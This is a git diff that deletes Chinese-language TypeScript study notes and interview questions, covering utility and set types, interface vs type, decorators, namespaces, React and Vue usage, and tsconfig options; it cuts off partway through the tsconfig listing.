使用类似的结构,**在关键位置使用一个相反操作来实现反向**,而这里的 Omit 类型则是基于 Pick 类型实现,也就是**反向工具类型基于正向工具类型实现**,`Exclude` 其实就是 T 的键名联合类型中剔除了 K 的部分。 - -## 集合工具类型 - -**集合概念:** - -- **并集**,两个集合的合并,合并时重复的元素只会保留一份(这也是联合类型的表现行为)。 -- **交集**,两个集合的相交部分,即同时存在于这两个集合内的元素组成的集合。 -- **差集**,对于 A、B 两个集合来说,A 相对于 B 的差集即为 **A 中独有而 B 中不存在的元素** 的组成的集合,或者说 **A 中剔除了 B 中也存在的元素以后剩下的部分**。 -- **补集**,补集是差集的特殊情况,此时**集合 B 为集合 A 的子集**,在这种情况下 **A 相对于 B 的补集** + **B** = **完整的集合 A**。 - -### **Extract** 交集与**Exclude** 差集 - -内置工具类型中提供了交集与差集的实现: - -```ts -type Extract = T extends U ? T : never; - -type Exclude = T extends U ? never : T; -``` - -这里的具体实现其实就是条件类型的分布式特性,即当 T、U 都是联合类型(视为一个集合)时,T 的成员会依次被拿出来进行 `extends U ? T1 : T2 `的计算,然后将最终的结果再合并成联合类型。 - -**Extract 交集运行逻辑** - -```ts -type AExtractB = Extract<1 | 2 | 3, 1 | 2 | 4>; // 1 | 2 - -type _AExtractB = - | (1 extends 1 | 2 | 4 ? 1 : never) // 1 - | (2 extends 1 | 2 | 4 ? 2 : never) // 2 - | (3 extends 1 | 2 | 4 ? 3 : never); // never -``` - -**Exclude 差集运行逻辑** - -```ts -type SetA = 1 | 2 | 3 | 5; - -type SetB = 0 | 1 | 2 | 4; - -type AExcludeB = Exclude; // 3 | 5 -type BExcludeA = Exclude; // 0 | 4 - -type _AExcludeB = - | (1 extends 0 | 1 | 2 | 4 ? never : 1) // never - | (2 extends 0 | 1 | 2 | 4 ? never : 2) // never - | (3 extends 0 | 1 | 2 | 4 ? never : 3) // 3 - | (5 extends 0 | 1 | 2 | 4 ? never : 5); // 5 - -type _BExcludeA = - | (0 extends 1 | 2 | 3 | 5 ? never : 0) // 0 - | (1 extends 1 | 2 | 3 | 5 ? never : 1) // never - | (2 extends 1 | 2 | 3 | 5 ? never : 2) // never - | (4 extends 1 | 2 | 3 | 5 ? never : 4); // 4 -``` - -由差集和交集的实现,我们可以对其他集合关系进行实现(非内置工具类型): - -```ts -// 并集 -export type Concurrence = A | B; - -// 交集 -export type Intersection = A extends B ? A : never; - -// 差集 -export type Difference = A extends B ? never : A; - -// 补集 -export type Complement = Difference; -``` - -## 模式匹配工具类型 - -这一部分的工具类型主要使用**条件类型**与 **infer 关键字**。 - -在条件类型一节中我们已经差不多了解了 infer 关键字的使用,而更严格地说 infer 其实代表了一种 **模式匹配(pattern matching)** 的思路,如正则表达式、Glob 中等都体现了这一概念。 - -https://jishuin.proginn.com/p/763bfbd7299f - -https://juejin.cn/post/7045536402112512007 - diff --git "a/src/TypeScript/\351\235\242\350\257\225\351\242\230/TypeScript \351\235\242\350\257\225\344\270\223\351\242\230.md" "b/src/TypeScript/\351\235\242\350\257\225\351\242\230/TypeScript \351\235\242\350\257\225\344\270\223\351\242\230.md" deleted file mode 100644 index 019e1749..00000000 --- "a/src/TypeScript/\351\235\242\350\257\225\351\242\230/TypeScript \351\235\242\350\257\225\344\270\223\351\242\230.md" +++ /dev/null @@ -1,1218 +0,0 @@ ---- -date: 2022-08-28 -category: -- 面试题 -- 前端 -- TypeScript ---- - -# TypeScript 面试专题 - -## interface 与 type 异同点 - -这可能是最经典的一道 TS 面试题了,因此这里我们放在第一个知识点来讲解。 - -### 及格线 - -不论如何,以下这些概念是你需要基本了解的,否则很容易被怀疑是否真的深入使用过 TypeScript 。 - -- 在对象扩展情况下,interface 使用 extends 关键字,而 type 使用交叉类型(`&`)。 -- 同名的 interface 会自动合并,并且在合并时会要求兼容原接口的结构。 -- interface 与 type 都可以描述对象类型、函数类型、Class 类型,但 interface 无法像 type 那样表达元组、一组联合类型等等。 -- interface 无法使用映射类型等类型工具,也就意味着在类型编程场景中我们还是应该使用 type 。 - -### 优秀回答 - -只是回答这些概念定义显得过于枯燥,而且很容易被认为像是在背书,因此你可以穿插自己在工程中的实践, 比如小册中提过的,使用 interface 来定义对象类型,使用类型别名来处理函数签名、联合类型、工具类型等等。这同样也代表了你对这两个工具的理解:**interface 就是描述对象对外暴露的接口,其不应该具有过于复杂的类型逻辑,最多局限于泛型约束与索引类型这个层面。而 type alias 就是用于将一组类型的重命名,或是对类型进行复杂编程。** - -另外,你也可以提到在官方的 Wiki 中,特别说明了在对象扩展的情况下,使用接口继承要比交叉类型的性能更好。 - -## 类型兼容性比较 - -这一问题主要考察你是否了解 TypeScript 类型系统的基本工作原理,以及使用的深入程度。因为通常来说,只有具有一定经验的使用者才会开始了解类型兼容性的相关规则,而了解这部分规则也就意味着你至少能够独立解决相当一部分类型报错。 - -### 及格线 - -TypeScript 使用鸭子类型,也即结构化类型系统进行类型兼容性的比较,即对于两个属性完全一致的类型,就认为它们属于同一种类型。而对于 A 类型、A + B 类型,认为后者属于前者的子类型。另外 TypeScript 类型中还存在着一部分特殊的规则,如 object、{} 以及 Top Type 等。 - -### 优秀回答 - -能回答出上面这些内容已经不错了,但你可是阅读完了这本小册的同学,怎么能轻易止步。如果想进一步升华回答,还可以从以下方面进行扩展。 - -- **结构化类型系统到标称类型系统**,你可以表达你不仅了解结构化类型系统,还了解与其可以作为对比的标称类型系统,包括存在意义与比较方式,以及如何在 TS 中实现标称类型系统。 -- **类型层级**,类型兼容性的比较本质上其实也就是在类型层级中进行比较,一个类型能够兼容其子类型,就这么回事,因此,不妨扩展地讲一讲 TS 的类型层级是怎么样的。 - -## any、unknown 与 never - -这一部分主要考察你对内置 Top Type、Bottom Type 的理解,属于相对少见的考察,因此通常也不会要求过高。 - -### 及格线 - -具体内容已经在小册中详细描述,这里只做简单叙述。any 与 unknown 在 TypeScript 类型层级中属于最顶层的 Top Type,也就意味所有类型都是它俩的子类型。而 never 则相反,作为 Bottom Type 的它是所有类型的子类型。 - -### 优秀回答 - -面试的重要原则之一就是 WHY,在回答一个知识点的同时,如果能把这个知识点背后的存在原因也讲述清楚,很难不让面试官暗暗点头为你折服,因此你可以考虑从以下这么几个角度出发来进行扩展。 - -- **为什么需要 Top Type 与 Bottom Type ?** 在实际开发中,我们不可能确保对所有地方的类型都进行精确的描述,因此就需要 Top Type 来表示一个包含任意类型的类型。而在类型编程中,如果对两个不存在交集的类型强行进行交集运算,也需要一个类型表示这个不存在的类型。这就是 Top Type 与 Bottom Type 的存在意义。 -- **类型层级**,Top 与 Bottom 本身就是在描述它们在类型层级中的位置,因此,如果你能给面试官讲一遍从 Bottom 向上到 Top 的类型链,我觉得起码在 TypeScript 这个技能点上你已经基本得到肯定了。 -- **条件类型**,Top Type 与 Bottom Type 带来的底层规则还不止表现在类型兼容性方面,在条件类型中同样存在对它们的特殊逻辑,请回想 any 与 never 在条件类型中的表现。 - -## 工具类型实现 - -这一部分有可能需要你进行手写,但对于完成了整本小册阅读的你来说,肯定不是难事,这一部分就不做过多叙述了。 - -### 及格线 - -比较简单的工具类型手写可能包括 Partial(Require)、Pick(Omit)、ReturnType(ParameterType),小册中均已介绍了相关实现与原理,这里就不再赘述。 - -### 优秀回答 - -在完成手写的基础上,其实你也可以主动进行扩展。 - -- 我不仅能写出这些基础实现,还能写出其在实际应用场景中的增强版,比如 DeepPartial 与 MarkAsPartial,PickByType 与 PickByStrictType 等等。 -- 我不仅了解这些工具类型的实现,还了解它们可以被归纳为访问性修饰工具类型、结构处理工具类型、集合工具类型与模式匹配工具类型等等,同时对它们实现过程中使用到的类型工具也有较为深入的了解。 - -## 场景题题问: - -[参考场景题](https://vue3js.cn/interview/typescript/typescript_javascript.html#%E4%BA%8C%E3%80%81%E7%89%B9%E6%80%A7) - -### Typescript 的数据类型有哪些? - -`typescript` 的数据类型主要有如下: - -- boolean(布尔类型) -- number(数字类型) -- string(字符串类型) -- array(数组类型) -- tuple(元组类型) -- enum(枚举类型) -- any(任意类型) -- null 和 undefined 类型 -- void 类型 -- never 类型 -- object 对象类型 - -### TypeScript 中函数的理解?与 JavaScript 函数的区别? - -函数是`JavaScript` 应用程序的基础,帮助我们实现抽象层、模拟类、信息隐藏和模块 - -在`TypeScript` 里,虽然已经支持类、命名空间和模块,但函数仍然是主要定义行为的方式,`TypeScript` 为 `JavaScript` 函数添加了额外的功能,丰富了更多的应用场景 - -### 对 TypeScript 中泛型的理解?应用场景? - -泛型程序设计(generic programming)是程序设计语言的一种风格或范式 - -泛型允许我们在强类型程序设计语言中编写代码时使用一些以后才指定的类型,在实例化时作为参数指明这些类型。 - -在`typescript`中,定义函数,接口或者类的时候,不预先定义好具体的类型,而在使用的时候在指定类型的一种特性。 - -### 对 TypeScript 中高级类型的理解?有哪些? - -除了`string`、`number`、`boolean` 这种基础类型外,在 `typescript` 类型声明中还存在一些高级的类型应用 - -这些高级类型,是`typescript`为了保证语言的灵活性,所使用的一些语言特性。这些特性有助于我们应对复杂多变的开发场景 - -### 有哪些? - -- 交叉类型 - - ```ts - T & U - ``` - -- 联合类型 - - ```ts - T | U - ``` - -- 类型别名 - - type:类型别名会给一个类型起个新名字,类型别名有时和接口很像,但是可以作用于原始值、联合类型、元组以及其它任何你需要手写的类型 - - 可以使用类型别名来在属性里引用自己(也可以是泛型): - - ```ts - type Tree = { - value: T; - left: Tree; - right: Tree; - } - ``` - -- 类型索引 - - `keyof` 类似于 `Object.keys` ,用于获取一个接口中 Key 结果作为联合类型返回。 - -- 类型约束 - - 通过关键字 `extend` 进行约束,不同于在 `class` 后使用 `extends` 的继承作用,泛型内使用的主要作用是对泛型加以约束(表示该泛型是xxx的子类) - -- 映射类型 - - 通过 `in` 关键字做类型的映射,遍历已有接口的 `key` 或者是遍历联合类型,如下例子: - - ```ts - type Readonly = { - readonly [P in keyof T]: T[P]; - }; - - interface Obj { - a: string - b: string - } - - type ReadOnlyObj = Readonly - ``` - - 最终`ReadOnlyObj`的接口为下述: - - ```ts - interface ReadOnlyObj { - readonly a: string; - readonly b: string; - } - ``` - -- 条件类型 - - 条件类型的语法规则和三元表达式一致,经常用于一些类型不确定的情况。 - - ```ts - T extends U ? X : Y - ``` - - 上面的意思就是,如果 T 是 U 的子集,就是类型 X,否则为类型 Y - -### 对 TypeScript 装饰器@的理解?应用场景? - -> 装饰器是一种包装代码的简单方法,它也是一种设计模式,能够扩展包装代码的功能而不修改它。 -> -> 尽管装饰器在 TypeScript 和 Python 等语言中被广泛使用,但是 JavaScript 装饰器的支持仍处于第 2 阶段提案中。但是,我们可以借助 Babel 和 TypeScript 编译器使用 JavaScript 装饰器。 - -装饰器是一种特殊类型的声明,它能够被附加到类声明,方法, 访问符,属性或参数上 - -是一种在不改变原类和使用继承的情况下,动态地扩展对象功能 - -同样的,本质也不是什么高大上的结构,就是一个普通的函数,`@expression` 的形式其实是`Object.defineProperty`的语法糖 - -`expression`求值后必须也是一个函数,它会在运行时被调用,被装饰的声明信息做为参数传入 - -#### 使用方式 - -由于`typescript`是一个实验性特性,若要使用,需要在`tsconfig.json`文件启动,如下: - -```ts -{ - "compilerOptions": { - "target": "ES5", - "experimentalDecorators": true - } -} -``` - -`typescript`装饰器的使用和`javascript`基本一致 - -类的装饰器可以装饰: - -#### 类装饰 - -> 接收参数:构造器函数 - -例如声明一个函数 `addAge` 去给 Class 的属性 `age` 添加年龄 - -```ts -function addAge(constructor: Function) { - constructor.prototype.age = 18; -} - -@addAge -class Person{ - name: string; - age!: number; - constructor() { - this.name = 'huihui'; - } -} - -let person = new Person(); - -console.log(person.age); // 18 -``` - -上述代码,实际等同于以下形式: - -```ts -Person = addAge(function Person() { ... }); -``` - -上述可以看到,当装饰器作为修饰类的时候,会把构造器传递进去。 `constructor.prototype.age` 就是在每一个实例化对象上面添加一个 `age` 属性 - -#### 方法/属性装饰 - -> target:对象的原型 -> propertyKey:方法的名称 -> descriptor:方法的属性描述符 - -可以看到,这三个属性实际就是`Object.defineProperty`的三个参数,如果是类的属性,则没有传递第三个参数 - -如下例子: - -```ts -// 声明装饰器修饰方法/属性 -function method(target: any, propertyKey: string, descriptor: PropertyDescriptor) { - console.log(target); - console.log("prop " + propertyKey); - console.log("desc " + JSON.stringify(descriptor) + "\n\n"); - descriptor.writable = false; -}; - -function property(target: any, propertyKey: string) { - console.log("target", target) - console.log("propertyKey", propertyKey) -} - -class Person{ - @property - name: string; - constructor() { - this.name = 'huihui'; - } - - @method - say(){ - return 'instance method'; - } - - @method - static run(){ - return 'static method'; - } -} - -const xmz = new Person(); - -// 修改实例方法say -xmz.say = function() { - return 'edit' -} -``` - -#### 参数装饰 - -> target :当前对象的原型 -> propertyKey :参数的名称 -> index:参数数组中的位置 - -```ts -function logParameter(target: Object, propertyName: string, index: number) { - console.log(target); - console.log(propertyName); - console.log(index); -} - -class Employee { - greet(@logParameter message: string): string { - return `hello ${message}`; - } -} -const emp = new Employee(); -emp.greet('hello'); -``` - -#### 访问器装饰 - -> 使用起来方式与方法装饰一致,如下: - -```ts -function modification(target: Object, propertyKey: string, descriptor: PropertyDescriptor) { - console.log(target); - console.log("prop " + propertyKey); - console.log("desc " + JSON.stringify(descriptor) + "\n\n"); -}; - -class Person{ - _name: string; - constructor() { - this._name = 'huihui'; - } - - @modification - get name() { - return this._name - } -} -``` - -#### 装饰器工厂 - -如果想要传递参数,使装饰器变成类似工厂函数,只需要在装饰器函数内部再构造一个函数即可,如下: - -```ts -function addAge(age: number) { - return function(constructor: Function) { - constructor.prototype.age = age - } -} - -@addAge(10) -class Person{ - name: string; - age!: number; - constructor() { - this.name = 'huihui'; - } -} - -let person = new Person(); -``` - -#### 执行顺序 - -当多个装饰器应用于一个声明上,将由上至下依次对装饰器表达式求值,求值的结果会被当作函数,由下至上依次调用,例如如下: - -```ts -function f() { - console.log("f(): evaluated"); - return function (target, propertyKey: string, descriptor: PropertyDescriptor) { - console.log("f(): called"); - } -} - -function g() { - console.log("g(): evaluated"); - return function (target, propertyKey: string, descriptor: PropertyDescriptor) { - console.log("g(): called"); - } -} - -class C { - @f() - @g() - method() {} -} - -// 输出 -f(): evaluated -g(): evaluated -g(): called -f(): called -``` - -**总结** - -可以看到,使用装饰器存在两个显著的优点: - -- 代码可读性变强了,装饰器命名相当于一个注释 -- 在不改变原有代码情况下,对原来功能进行扩展 - -后面的使用场景中,借助装饰器的特性,除了提高可读性之后,针对已经存在的类,可以通过装饰器的特性,在不改变原有代码情况下,对原来功能进行扩展 - -### 对 TypeScript 中命名空间与模块的理解?区别? - -`TypeScript` 与`ECMAScript` 2015 一样,任何包含顶级 `import` 或者 `export` 的文件都被当成一个模块 - -相反地,如果一个文件不带有顶级的`import`或者`export`声明,那么它的内容被视为全局可见的 - -其他模块特性与ES6无异 - -#### 命名空间 namespace - -命名空间一个最明确的目的就是解决重名问题 - -命名空间定义了标识符的可见范围,一个标识符可在多个名字空间中定义,它在不同名字空间中的含义是互不相干的 - -这样,在一个新的名字空间中可定义任何标识符,它们不会与任何已有的标识符发生冲突,因为已有的定义都处于其他名字空间中 - -`TypeScript` 中命名空间使用 `namespace` 来定义,语法格式如下: - -```ts -namespace SomeNameSpaceName { - export interface ISomeInterfaceName { } - export class SomeClassName { } -} -``` - -以上定义了一个命名空间 `SomeNameSpaceName`,如果我们需要在外部可以调用 `SomeNameSpaceName` 中的类和接口,则需要在类和接口添加 `export` 关键字 - -使用方式如下: - -```ts -SomeNameSpaceName.SomeClassName -``` - -**命名空间本质上是一个对象,作用是将一系列相关的全局变量组织到一个对象的属性,**如下: - -```ts -namespace Letter { - export let a = 1; - export let b = 2; - export let c = 3; - // ... - export let z = 26; -} -``` - -编译成`js`如下: - -```js -var Letter; -(function (Letter) { - Letter.a = 1; - Letter.b = 2; - Letter.c = 3; - // ... - Letter.z = 26; -})(Letter || (Letter = {})); -``` - -#### 区别 - -- 命名空间是位于全局命名空间下的一个普通的带有名字的 JavaScript 对象,使用起来十分容易。但就像其它的全局命名空间污染一样,它很难去识别组件之间的依赖关系,尤其是在大型的应用中 -- 像命名空间一样,模块可以包含代码和声明。 不同的是模块可以声明它的依赖 -- **在正常的TS项目开发过程中并不建议用命名空间**,但通常在通过 **d.ts 文件标记 js 库**类型的时候使用命名空间,**主要作用是给编译器编写代码的时候参考使用** - -### 说说如何在 React 项目中应用 TypeScript? - -#### **函数组件:** - -更加规范的写法是使用 `React` 里面定义好的 `FC` 属性,里面已经定义好 `children` 类型,如下: - -```tsx -export const Logo: React.FC = (props) => { - const { logo, className, alt } = props; - - return {alt}; -}; -``` - -- React.FC 显式地定义了返回类型,其他方式是隐式推导的 -- React.FC 对静态属性:displayName、propTypes、defaultProps 提供了类型检查和自动补全 -- React.FC 为 children 提供了隐式的类型(ReactElement | null) - -#### **有状态的类式组件:** - -可以是一个类组件且存在 `props` 和 `state` 属性 - -如果使用 `TypeScript` 声明则如下所示: - -```tsx -import * as React from "React"; - -interface IProps { - color: string; - size?: string; -} -interface IState { - count: number; -} -class App extends React.Component { - public state = { - count: 1, - }; - public render() { - return
    Hello world
    ; - } -} -``` - -上述通过泛型对 `props`、`state` 进行类型定义,然后在使用的时候就可以在编译器中获取更好的智能提示 - -关于 `Component` 泛型类的定义,可以参考下 React 的类型定义文件 `node_modules/@types/React/index.d.ts`,如下所示: - -```ts -class Component { - readonly props: Readonly<{ children?: ReactNode }> & Readonly

    ; - - state: Readonly; -} -``` - -从上述可以看到,`state` 属性也定义了可读类型,目的是为了防止直接调用 `this.state` 更新状态 - -#### **受控组件:** - -受控组件的特性在于元素的内容通过组件的状态 `state` 进行控制 - -由于组件内部的事件是合成事件,不等同于原生事件, - -例如一个 `input` 组件修改内部的状态,常见的定义的时候如下所示: - -```ts -private updateValue(e: React.ChangeEvent) { - this.setState({ itemText: e.target.value }) -} -``` - -常用 `Event` 事件对象类型: - -- ClipboardEvent 剪贴板事件对象 -- DragEvent 拖拽事件对象 -- ChangeEvent Change 事件对象 -- KeyboardEvent 键盘事件对象 -- MouseEvent 鼠标事件对象 -- TouchEvent 触摸事件对象 -- WheelEvent 滚轮事件对象 -- AnimationEvent 动画事件对象 -- TransitionEvent 过渡事件对象 - -`T` 接收一个 `DOM` 元素类型 - -### 说说如何在Vue2项目中应用TypeScript? - -在`Vue2`项目中应用`typescript`,我们需要引入一个库`vue-property-decorator`, - -其是基于`vue-class-component`库而来,这个库`vue`官方推出的一个支持使用`class`方式来开发`vue`单文件组件的库 - -主要的功能如下: - -- methods 可以直接声明为类的成员方法 -- 计算属性可以被声明为类的属性访问器 -- 初始化的 data 可以被声明为类属性 -- data、render 以及所有的 Vue 生命周期钩子可以直接作为类的成员方法 -- 所有其他属性,需要放在装饰器中 - -# 高频面试题 - -## 1. 为什么推荐使用TypeScript? - -TypeScript是微软公司开发和维护的一种面向对象的编程语言。它是JavaScript的超集,包含其所有元素。 - -其中,强类型和弱类型、静态类型和动态类型是两组不同的概念。 - -类型强弱是针对类型转换是否显示来区分,静态和动态类型是针对类型检查的时机来区分。 - -TS对JS的改进主要是静态类型检查,静态类型检查有何意义?标准答案是“静态类型更有利于构建大型应用”。 - -推荐使用TypeScript的原因有: - -- TypeScript是开源的。 -- TypeScript为JavaScript ide和实践(如静态检查)提供了高效的开发工具。 -- TypeScript使代码更易于阅读和理解。 -- 使用TypeScript,我们可以大大改进普通的JavaScript。 -- TypeScript为我们提供了ES6(ECMAScript 6)的所有优点,以及更高的生产率。 -- TypeScript通过对代码进行类型检查,可以帮助我们避免在编写JavaScript时经常遇到的令人痛苦的错误。 -- 强大的类型系统,包括泛型。 -- TypeScript只不过是带有一些附加功能的JavaScript。 -- TypeScript代码可以按照ES5和ES6标准编译,以支持最新的浏览器。 -- 与ECMAScript对齐以实现兼容性。 -- 以JavaScript开始和结束。 -- 支持静态类型。 -- TypeScript将节省开发人员的时间。 -- TypeScript是ES3、ES5和ES6的超集。 - -## 2. 说说TypeScript中命名空间与模块的理解和区别 - -**命名空间**:命名空间一个最明确的目的就是解决重名问题 - -命名空间定义了标识符的可见范围,一个标识符可在多个名字空间中定义,它在不同名字空间中的含义是互不相干的 - -这样,在一个新的名字空间中可定义任何标识符,它们不会与任何已有的标识符发生冲突,因为已有的定义都处于其他名字空间中 - -**模块**:`TypeScript` 与` ECMAScript` 2015 一样,任何包含顶级 `import` 或者 `export` 的文件都被当成一个模块 - -相反地,如果一个文件不带有顶级的`import`或者`export`声明,那么它的内容被视为全局可见的 - -**它们之间的区别**: - -- 命名空间是位于全局命名空间下的一个普通的带有名字的 JavaScript 对象,使用起来十分容易。但就像其它的全局命名空间污染一样,它很难去识别组件之间的依赖关系,尤其是在大型的应用中 -- 像命名空间一样,模块可以包含代码和声明。 不同的是模块可以声明它的依赖 -- 在正常的TS项目开发过程中并不建议用命名空间,但通常在通过 d.ts 文件标记 js 库类型的时候使用命名空间,主要作用是给编译器编写代码的时候参考使用 - -## 3. TypeScript支持的访问修饰符有哪些? - -TypeScript支持访问修饰符 public,private 和 protected,它们决定了类成员的可访问性。 - -- 公共(public),类的所有成员,其子类以及该类的实例都可以访问。 -- 受保护(protected),该类及其子类的所有成员都可以访问它们。 但是该类的实例无法访问。 -- 私有(private),只有类的成员可以访问它们。 - -如果未指定访问修饰符,则它是隐式公共的,因为它符合 JavaScript 的便利性。 - -## 4. TypeScript中有哪些声明变量的方式? - -```ts -// 声明类型和值,Declaring type and value in a single statement -let [identifier] : [type-annotation] = value; - -// 只声明类型,Declaring type without value -let [identifier] : [type-annotation]; - -// 只声明值,Declaring its value without type -let [identifier] = value; - -// 声明变量无类型和值,Declaring without value and type -let [identifier]; - -``` - -## 5. TypeScript和JavaScript的区别是什么? - -Typescript 是 JavaScript 的超集,可以被编译成 JavaScript 代码。用 JavaScript 编写的代码,在 TypeScript 中依然有效。Typescript 是纯面向对象的编程语言,包含类和接口的概念。 程序员可以用它来编写面向对象的服务端或客户端程序,并将它们编译成 JavaScript 代码。 - -## 6. TypeScript中的Declare关键字有什么作用? - -我们知道所有的JavaScript库/框架都没有TypeScript声明文件,但是我们希望在TypeScript文件中使用它们时不会出现编译错误。为此,我们使用declare关键字。在我们希望定义可能存在于其他地方的变量的环境声明和方法中,可以使用declare关键字。 - -例如,假设我们有一个名为myLibrary的库,它没有TypeScript声明文件,在全局命名空间中有一个名为myLibrary的命名空间。如果我们想在TypeScript代码中使用这个库,我们可以使用以下代码: - -```ts -declare let myLibrary; - -``` - -TypeScript运行时将把myLibrary变量赋值为任意类型(any)。这是一个问题,我们不会得到智能感知在设计时,但我们将能够使用库在我们的代码。 - -## 7. 解释一下TypeScript中的枚举 - -枚举是TypeScipt数据类型,它允许我们定义一组命名常量。 使用枚举去创建一组不同的案例变得更加容易。 它是相关值的集合,可以是数字值或字符串值。 - -```ts -enum Gender { - Male, - Female, - Other -} -console.log(Gender.Male); // Output: 0 - -//We can also access an enum value by it's number value. -console.log(Gender[1]); // Output: Female - -``` - -## 8. TypeScript中什么是装饰器? - -装饰器是一种特殊类型的声明,它能过被附加到类声明,方法,属性或者参数上,可以修改类的行为 - -通俗的来说就是一个方法,可以注入到类,方法,属性参数上来扩展类,属性,方法,参数的功能 - -**装饰器的分类**: 类装饰器、属性装饰器、方法装饰器、参数装饰器 - -## 9. TypeScript中的模块是什么? - -TypeScript 中的模块是相关变量、函数、类和接口的集合。 你可以将模块视为包含执行任务所需的一切的容器。可以导入模块以轻松地在项目之间共享代码。 - -```ts -module module_name{ - class xyz{ - export sum(x, y){ - return x+y; - } - } -} - -``` - -## 10. TypeScript的内置数据类型有哪些? - -```ts -// 数字类型:用于表示数字类型的值。TypeScript 中的所有数字都存储为浮点值。 - -let num: number = 1; - -// 布尔类型:一个逻辑二进制开关,包含true或false - -let str: string = "CoderBin"; - -// Null 类型: Null 表示值未定义的变量。 - -let flag: boolean = true - -// void 类型:分配给没有返回值的方法的类型。 - -let unusable: void = undefined; - -``` - -## 11. TypeScript的主要特点是什么? - -- **跨平台**:TypeScript 编译器可以安装在任何操作系统上,包括 Windows、macOS 和 Linux。 -- **ES6 特性**:TypeScript 包含计划中的 ECMAScript 2015 (ES6) 的大部分特性,例如箭头函数。 -- **面向对象的语言**:TypeScript 提供所有标准的 OOP 功能,如类、接口和模块。 -- **静态类型检查**:TypeScript 使用静态类型并帮助在编译时进行类型检查。因此,你可以在编写代码时发现编译时错误,而无需运行脚本。 -- **可选的静态类型**:如果你习惯了 JavaScript 的动态类型,TypeScript 还允许可选的静态类型。 - -## 12. TypeScript中never和void的区别? - -- void 表示没有任何类型(可以被赋值为 null 和 undefined)。 -- never 表示一个不包含值的类型,即表示永远不存在的值。 -- 拥有 void 返回值类型的函数能正常运行。拥有 never 返回值类型的函数无法正常返回,无法终止,或会抛出异常。 - -## 13. TypeScript中的类型断言是什么? - -类型断言可以用来手动指定一个值具体的类型,即允许变量从一种类型更改为另一种类型。 - -当你比 TS 更了解某个值的类型,并且需要指定更具体的类型时,我们可以使用**类型断言**。 - -## 14. TS中any和unknown有什么区别? - -unknown 和 any 的主要区别是 unknown 类型会更加严格:在对 unknown 类型的值执行大多数操作之前,我们必须进行某种形式的检查。而在对 any 类型的值执行操作之前,我们不必进行任何检查。 - -```ts -let foo: any = 123; -console.log(foo.msg); // 符合TS的语法 -let a_value1: unknown = foo; // OK -let a_value2: any = foo; // OK -let a_value3: string = foo; // OK - -let bar: unknown = 222; // OK -console.log(bar.msg); // Error -let k_value1: unknown = bar; // OK -let K_value2: any = bar; // OK -let K_value3: string = bar; // Error - -``` - -因为bar是一个未知类型(任何类型的数据都可以赋给 `unknown` 类型),所以不能确定是否有msg属性。不能通过TS语法检测;而 unknown 类型的值也不能将值赋给 any 和 unknown 之外的类型变量 - -**总结**: any 和 unknown 都是顶级类型,但是 unknown 更加严格,不像 any 那样不做类型检查,反而 unknown 因为未知性质,不允许访问属性,不允许赋值给其他有明确类型的变量。 - -## 15. 使用TS实现一个判断传入参数是否是数组类型的方法? - -unknown 用于变量类型不确定,但肯定可以确定的情形下,比如下面这个示例中,参数总归会有个值,根据这个值的类型进行不同的处理,这里使用 unknown 替代 any 则会更加类型安全。 - -```ts -function isArray(x: unknown): boolean { - if (Array.isArray(x)) { - return true; - } - return false; -} - -``` - -## 16. tsconfig.json有什么作用? - -tsconfig.json文件是JSON格式的文件。 - -在tsconfig.json文件中,可以指定不同的选项来告诉编译器如何编译当前项目。 - -目录中包含tsconfig.json文件,表明该目录是TypeScript项目的根目录。 - -```json -// 常用配置 -{ - /* - tsconfig.json是ts编译器的配置文件,ts可以根据它的信息来对待吗进行编译 可以再tsconfig中写注释 - include : 用来指定哪些文件需要被编译 - exclude : 用来指定哪些文件不需要被编译 :默认node_module - extends : 用来指定继承的配置文件 - files : 用来指定被编译的文件列表,只有编译少量文件才使用 - compilerOptions : 编译器的选项是配置文件中非常重要也是非常复杂的配置选项 - */ - "include":[ - // ** : 任意目录 , * : 任意文件 - "./src/**/*" - ], - "exclude": [ - "./src/hello/**/*" - ], - // "extends": "./configs/base", - "files": [ - "1.ts", - // "2.ts" - ], - "compilerOptions": { - // 用来指定 ES 版本 ESNext : 最新版。 'ES3', 'ES5', 'ES6'/'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019', 'ES2020', 'ESNext' - "target": "ES2020", - // 指定要使用模块化的规范 : 'None', 'CommonJS', 'AMD', 'System', 'UMD', 'ES6'/'ES2015', 'ES2020' or 'ESNext' - "module": "ESNext", - // 用来指定项目中要使用的库 'ES5', 'ES6', 'ES2015', 'ES7', 'ES2016', 'ES2017', 'ES2018', 'ESNext', 'DOM', 'DOM.Iterable', - // 'WebWorker', 'ScriptHost', 'ES2015.Core', 'ES2015.Collection', 'ES2015.Generator', 'ES2015.Iterable', - // 'ES2015.Promise', 'ES2015.Proxy', 'ES2015.Reflect', 'ES2015.Symbol', 'ES2015.Symbol.WellKnown', - // 'ES2016.Array.Include', 'ES2017.object', 'ES2017.Intl', 'ES2017.SharedMemory', 'ES2017.String', - // 'ES2017.TypedArrays', 'ES2018.Intl', 'ES2018.Promise', 'ES2018.RegExp', 'ESNext.AsyncIterable', - // 'ESNext.Array', 'ESNext.Intl', 'ESNext.Symbol' - // 运行在浏览器中不用设置,运行在node或其他中才需要设置 - // "lib":[], - // 用来指定编译后文件的存放位置 - "outDir":"./dist", - // 将代码合并为一个文件,设置之后所有的全局作用域中的代码会合并到同一个文件中 但是只能在 'amd' and 'system' 中才能使用 - // "outFile": "./dist/app.js", - // 是否对js文件进行编译,默认false - "allowJs": false, - // 是否检查js代码是否符合语法规范,默认false - "checkJs": false, - // 是否移除注释,默认false - "removeComments":false, - // 是否不生成编译后文件,默认false - "noEmit": false, - // 当有错误时是否生成文件,默认false - "noEmitOnError": false, - // 是否生成sourceMap,默认false 这个文件里保存的,是转换后代码的位置,和对应的转换前的位置。有了它,出错的时候,通过断点工具可以直接显示原始代码,而不是转换后的代码。 - "sourceMap":false, - - // 所有的严格检查的总开关,默认false - "strict": false, - // 编译后的文件是否开启严格模式,默认false - "alwaysStrict": false, - // 不允许隐式的any,默认false(允许) - "noImplicitAny": false, - // 不允许隐式的this,默认false(允许) - "noImplicitThis": false, - // 是否严格的检查空值,默认false 检查有可能为null的地方 - "strictNullChecks": true, - // 是否严格检查bind、call和apply的参数列表,默认false 检查是否有多余参数 - "strictBindCallApply":false, - // 是否严格检查函数的类型, - "strictFunctionTypes":false, - // 是否严格检查属性是否初始化,默认false - "strictPropertyInitialization":false, - - // 是否检查switch语句包含正确的break,默认false - "noFallthroughCasesInSwitch":false, - // 检查函数没有隐式的返回值,默认false - "noImplicitReturns":false, - // 是否检查检查未使用的局部变量,默认false - "noUnusedLocals":false, - // 是否检查未使用的参数,默认false - 